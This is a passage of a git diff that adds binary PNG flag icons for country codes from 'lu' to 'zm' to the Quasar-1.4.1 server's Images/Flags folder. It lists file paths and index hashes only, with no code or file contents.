a/Quasar-1.4.1/Quasar.Server/Images/Flags/lu.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/lu.png new file mode 100755 index 0000000..4cabba9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/lu.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/lv.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/lv.png new file mode 100755 index 0000000..49b6998 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/lv.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ly.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ly.png new file mode 100755 index 0000000..b163a9f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ly.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ma.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ma.png new file mode 100755 index 0000000..f386770 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ma.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mc.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mc.png new file mode 100755 index 0000000..1aa830f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/mc.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/md.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/md.png new file mode 100755 index 0000000..4e92c18 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/md.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/me.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/me.png new file mode 100755 index 0000000..ac72535 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/me.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mg.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mg.png new file mode 100755 index 0000000..d2715b3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/mg.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mh.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mh.png new file mode 100755 index 0000000..fb523a8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/mh.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mk.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mk.png new file mode 100755 index 0000000..db173aa Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/mk.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ml.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ml.png new file mode 100755 index 0000000..2cec8ba Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ml.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mm.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mm.png new file mode 100755 index 0000000..f464f67 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/mm.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mn.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mn.png new file mode 100755 index 0000000..9396355 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/mn.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mo.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mo.png new file mode 100755 index 0000000..deb801d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/mo.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mp.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mp.png new file mode 100755 index 0000000..298d588 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/mp.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mq.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mq.png new file mode 100755 index 0000000..010143b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/mq.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mr.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mr.png new file mode 100755 index 0000000..319546b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/mr.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ms.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ms.png new file mode 100755 index 0000000..d4cbb43 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ms.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mt.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mt.png new file mode 100755 index 0000000..00af948 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/mt.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mu.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mu.png new file mode 100755 index 0000000..b7fdce1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/mu.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mv.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mv.png new file mode 100755 index 0000000..5073d9e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/mv.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mw.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mw.png new file mode 100755 index 0000000..13886e9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/mw.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mx.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mx.png new file mode 100755 index 0000000..5bc58ab Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/mx.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/my.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/my.png new file mode 100755 index 0000000..9034cba Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/my.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mz.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mz.png new file mode 100755 index 0000000..76405e0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/mz.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/na.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/na.png new file mode 100755 index 0000000..63358c6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/na.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/nc.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/nc.png new file mode 100755 index 0000000..2cad283 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/nc.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ne.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ne.png new file mode 100755 index 0000000..d85f424 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ne.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/nf.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/nf.png new file mode 100755 index 0000000..f9bcdda Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/nf.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ng.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ng.png new file mode 100755 index 0000000..3eea2e0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ng.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ni.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ni.png new file mode 100755 index 0000000..3969aaa Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ni.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/nl.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/nl.png new file mode 100755 index 0000000..fe44791 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/nl.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/no.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/no.png new file mode 100755 index 0000000..160b6b5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/no.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/np.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/np.png new file mode 100755 index 0000000..aeb058b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/np.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/nr.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/nr.png new file mode 100755 index 0000000..705fc33 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/nr.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/nu.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/nu.png new file mode 100755 index 0000000..c3ce4ae Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/nu.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/nz.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/nz.png new file mode 100755 index 0000000..10d6306 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/nz.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/om.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/om.png new file mode 100755 index 0000000..2ffba7e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/om.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/pa.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/pa.png new file mode 100755 index 0000000..9b2ee9a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/pa.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/pe.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/pe.png new file mode 100755 index 0000000..62a0497 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/pe.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/pf.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/pf.png new file mode 100755 index 0000000..771a0f6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/pf.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/pg.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/pg.png new file mode 100755 index 0000000..10d6233 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/pg.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ph.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ph.png new file mode 100755 index 0000000..b89e159 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ph.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/pk.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/pk.png new file mode 100755 index 0000000..e9df70c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/pk.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/pl.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/pl.png new file mode 100755 index 0000000..d413d01 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/pl.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/pm.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/pm.png new file mode 100755 index 0000000..ba91d2c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/pm.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/pn.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/pn.png new file mode 100755 index 0000000..aa9344f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/pn.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/pr.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/pr.png new file mode 100755 index 0000000..82d9130 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/pr.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ps.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ps.png new file mode 100755 index 0000000..f5f5477 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ps.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/pt.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/pt.png new file mode 100755 index 0000000..ece7980 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/pt.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/pw.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/pw.png new file mode 100755 index 0000000..6178b25 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/pw.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/py.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/py.png new file mode 100755 index 0000000..cb8723c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/py.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/qa.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/qa.png new file mode 100755 index 0000000..ed4c621 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/qa.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/re.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/re.png new file mode 100755 index 0000000..8332c4e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/re.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ro.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ro.png new file mode 100755 index 0000000..57e74a6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ro.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/rs.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/rs.png new file mode 100755 index 0000000..9439a5b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/rs.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ru.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ru.png new file mode 100755 index 0000000..47da421 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ru.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/rw.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/rw.png new file mode 100755 index 0000000..5356491 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/rw.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/sa.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/sa.png new file mode 100755 index 0000000..b4641c7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/sa.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/sb.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/sb.png new file mode 100755 index 0000000..a9937cc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/sb.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/sc.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/sc.png new file mode 100755 index 0000000..39ee371 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/sc.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/scotland.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/scotland.png new file mode 100755 index 0000000..a0e57b4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/scotland.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/sd.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/sd.png new file mode 100755 index 0000000..eaab69e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/sd.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/se.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/se.png new file mode 100755 index 0000000..1994653 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/se.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/sg.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/sg.png new file mode 100755 index 0000000..dd34d61 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/sg.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/sh.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/sh.png new file mode 100755 index 0000000..4b1d2a2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/sh.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/si.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/si.png new file mode 100755 index 0000000..bb1476f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/si.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/sj.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/sj.png new file mode 100755 index 0000000..160b6b5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/sj.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/sk.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/sk.png new file mode 100755 index 0000000..7ccbc82 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/sk.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/sl.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/sl.png new file mode 100755 index 0000000..12d812d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/sl.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/sm.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/sm.png new file mode 100755 index 0000000..3df2fdc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/sm.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/sn.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/sn.png new file mode 100755 index 0000000..eabb71d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/sn.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/so.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/so.png new file mode 100755 index 0000000..4a1ea4b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/so.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/sr.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/sr.png new file mode 100755 index 0000000..5eff927 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/sr.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/st.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/st.png new file mode 100755 index 0000000..2978557 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/st.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/sv.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/sv.png new file mode 100755 index 0000000..2498799 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/sv.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/sy.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/sy.png new file mode 100755 index 0000000..f5ce30d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/sy.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/sz.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/sz.png new file mode 100755 index 0000000..914ee86 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/sz.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/tc.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/tc.png new file mode 100755 index 0000000..8fc1156 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/tc.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/td.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/td.png new file mode 100755 index 0000000..667f21f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/td.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/tf.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/tf.png new file mode 100755 index 0000000..80529a4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/tf.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/tg.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/tg.png new file mode 100755 index 0000000..3aa00ad Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/tg.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/th.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/th.png new file mode 100755 index 0000000..dd8ba91 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/th.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/tj.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/tj.png new file mode 100755 index 0000000..617bf64 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/tj.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/tk.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/tk.png new file mode 100755 index 0000000..67b8c8c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/tk.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/tl.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/tl.png new file mode 100755 index 0000000..77da181 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/tl.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/tm.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/tm.png new file mode 100755 index 0000000..828020e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/tm.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/tn.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/tn.png new file mode 100755 index 0000000..183cdd3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/tn.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/to.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/to.png new file mode 100755 index 0000000..f89b8ba Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/to.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/tr.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/tr.png new file mode 100755 index 0000000..be32f77 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/tr.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/tt.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/tt.png new file mode 100755 index 0000000..2a11c1e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/tt.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/tv.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/tv.png new file mode 100755 index 0000000..28274c5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/tv.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/tw.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/tw.png new file mode 100755 index 0000000..f31c654 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/tw.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/tz.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/tz.png new file mode 100755 index 0000000..c00ff79 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/tz.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ua.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ua.png new file mode 100755 index 0000000..09563a2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ua.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ug.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ug.png new file mode 100755 index 0000000..33f4aff Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ug.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/um.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/um.png new file mode 100755 index 0000000..c1dd965 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/um.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/us.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/us.png new file mode 100755 index 0000000..10f451f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/us.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/uy.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/uy.png new file mode 100755 index 0000000..31d948a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/uy.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/uz.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/uz.png new file mode 100755 index 0000000..fef5dc1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/uz.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/va.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/va.png new file mode 100755 index 0000000..b31eaf2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/va.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/vc.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/vc.png new file mode 100755 index 0000000..8fa17b0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/vc.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ve.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ve.png new file mode 100755 index 0000000..00c90f9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ve.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/vg.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/vg.png new file mode 100755 index 0000000..4156907 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/vg.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/vi.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/vi.png new file mode 100755 index 0000000..ed26915 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/vi.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/vn.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/vn.png new file mode 100755 index 0000000..ec7cd48 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/vn.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/vu.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/vu.png new file mode 100755 index 0000000..b3397bc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/vu.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/wales.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/wales.png new file mode 100755 index 0000000..e0d7cee Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/wales.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/wf.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/wf.png new file mode 100755 index 0000000..9f95587 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/wf.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ws.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ws.png new file mode 100755 index 0000000..c169508 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ws.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/xy.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/xy.png new file mode 100755 index 0000000..3d3dff4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/xy.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ye.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ye.png new file mode 100755 index 0000000..468dfad Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ye.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/yt.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/yt.png new file mode 100755 index 0000000..c298f37 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/yt.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/za.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/za.png new file mode 100755 index 0000000..57c58e2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/za.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/zm.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/zm.png new file mode 100755 index 0000000..c25b07b Binary files 